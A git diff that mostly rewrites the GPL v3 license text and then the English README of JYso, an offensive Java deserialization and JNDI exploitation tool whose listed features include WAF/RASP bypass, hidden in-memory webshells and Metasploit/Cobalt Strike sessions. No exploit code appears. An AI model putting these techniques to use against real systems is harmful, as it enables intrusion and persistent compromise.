EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - {one line to give the program's name and a brief idea of what it does.} - Copyright (C) {year} {name of author} - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - {project} Copyright (C) {year} {fullname} - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + {one line to give the program's name and a brief idea of what it does.} + Copyright (C) {year} {name of author} + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + {project} Copyright (C) {year} {fullname} + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read . \ No newline at end of file diff --git a/README.en.md b/README.en.md index 4e4bec4..cdb6c39 100644 --- a/README.en.md +++ b/README.en.md @@ -1,87 +1,87 @@ -

- -

-

JYso

- -

- - - - -

It can be used as a tool for ysoserial and JNDIExploit at the same time, and has the bypass function of multiple JNDI high versions, WAF, and RASP

- -## 🚀 Getting Started Guide - -📢 Please take a moment to read this document, it will help you quickly get familiar with JYso! - -🧐 Use the Documentation [Wiki](https://github.com/qi4L/JYso/wiki). - -✔ Download the latest version of [Releases](https://github.com/qi4L/JYso/releases). - -## 👍 Features - -+ JNDI account password startup -+ JNDI route hiding or encryption -+ JNDI high version Bypass -+ Customize the path, password, HTTP header and value of the memory horse -+ Memory horse supports [Fileless landing Agent insertion](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond) -+ Memory horse writes JRE or environment variables to hide -+ Serialized data plus dirty data -+ [Serialized data is encoded in UTF-8 corresponding to 3 bytes](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/) -+ TemplatesImpl _bytecodes feature eliminated and size reduced -+ SignedObject secondary deserialization, can be used to bypass TemplatesImpl blacklist, CC without array and blacklist often seen in CTF, etc. -+ Solve the problem of Shiro Header being too long, get the value of the specified parameter from the request for class loading -+ Dynamically generate obfuscated class names -+ MSF/CS online -+ Code execution through JDBC - -If you have other great ideas, please let me know! 😎 - -## 🐯 Compile - -Download gradle8.7+ and configure it in the global environment variable, and execute it in the project root directory - -```shell -./gradlew shadowJar -``` - -## 🌲Directory structure - -For more information, please refer to [Directory structure description](docs/directory_structure.md). - -## ✨ CTStack - - - -JYso has joined the [CTStack](https://stack.chaitin.com/tool/detail/1303) community - -## ✨ 404Starlink - -404StarLink Project Logo - -JYso has joined [404Starlink](https://github.com/knownsec/404StarLink) - -1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3) - -## 📷 Acknowledgements - -- https://github.com/veracode-research/rogue-jndi -- https://github.com/welk1n/JNDI-Injection-Exploit -- https://github.com/welk1n/JNDI-Injection-Bypass -- https://github.com/WhiteHSBG/JNDIExploit -- https://github.com/su18/ysoserial -- https://github.com/rebeyond/Behinder -- https://github.com/Whoopsunix/utf-8-overlong-encoding -- https://github.com/mbechler/marshalsec -- https://t.zsxq.com/17LkqCzk8 -- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg -- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697 -- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/ -- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce -- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7 -- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/ -- https://tttang.com/archive/1405/#toc_groovyclassloader -- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F -- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html -- https://tttang.com/archive/1405/#toc_druid - +

+ +

+

JYso

+ +

+ + + + +

It can be used as a tool for ysoserial and JNDIExploit at the same time, and has the bypass function of multiple JNDI high versions, WAF, and RASP

+ +## 🚀 Getting Started Guide + +📢 Please take a moment to read this document, it will help you quickly get familiar with JYso! + +🧐 Use the Documentation [Wiki](https://github.com/qi4L/JYso/wiki). + +✔ Download the latest version of [Releases](https://github.com/qi4L/JYso/releases). + +## 👍 Features + ++ JNDI account password startup ++ JNDI route hiding or encryption ++ JNDI high version Bypass ++ Customize the path, password, HTTP header and value of the memory horse ++ Memory horse supports [Fileless landing Agent insertion](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond) ++ Memory horse writes JRE or environment variables to hide ++ Serialized data plus dirty data ++ [Serialized data is encoded in UTF-8 corresponding to 3 bytes](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/) ++ TemplatesImpl _bytecodes feature eliminated and size reduced ++ SignedObject secondary deserialization, can be used to bypass TemplatesImpl blacklist, CC without array and blacklist often seen in CTF, etc. ++ Solve the problem of Shiro Header being too long, get the value of the specified parameter from the request for class loading ++ Dynamically generate obfuscated class names ++ MSF/CS online ++ Code execution through JDBC + +If you have other great ideas, please let me know! 😎 + +## 🐯 Compile + +Download gradle8.7+ and configure it in the global environment variable, and execute it in the project root directory + +```shell +./gradlew shadowJar +``` + +## 🌲Directory structure + +For more information, please refer to [Directory structure description](docs/directory_structure.md). + +## ✨ CTStack + + + +JYso has joined the [CTStack](https://stack.chaitin.com/tool/detail/1303) community + +## ✨ 404Starlink + +404StarLink Project Logo + +JYso has joined [404Starlink](https://github.com/knownsec/404StarLink) 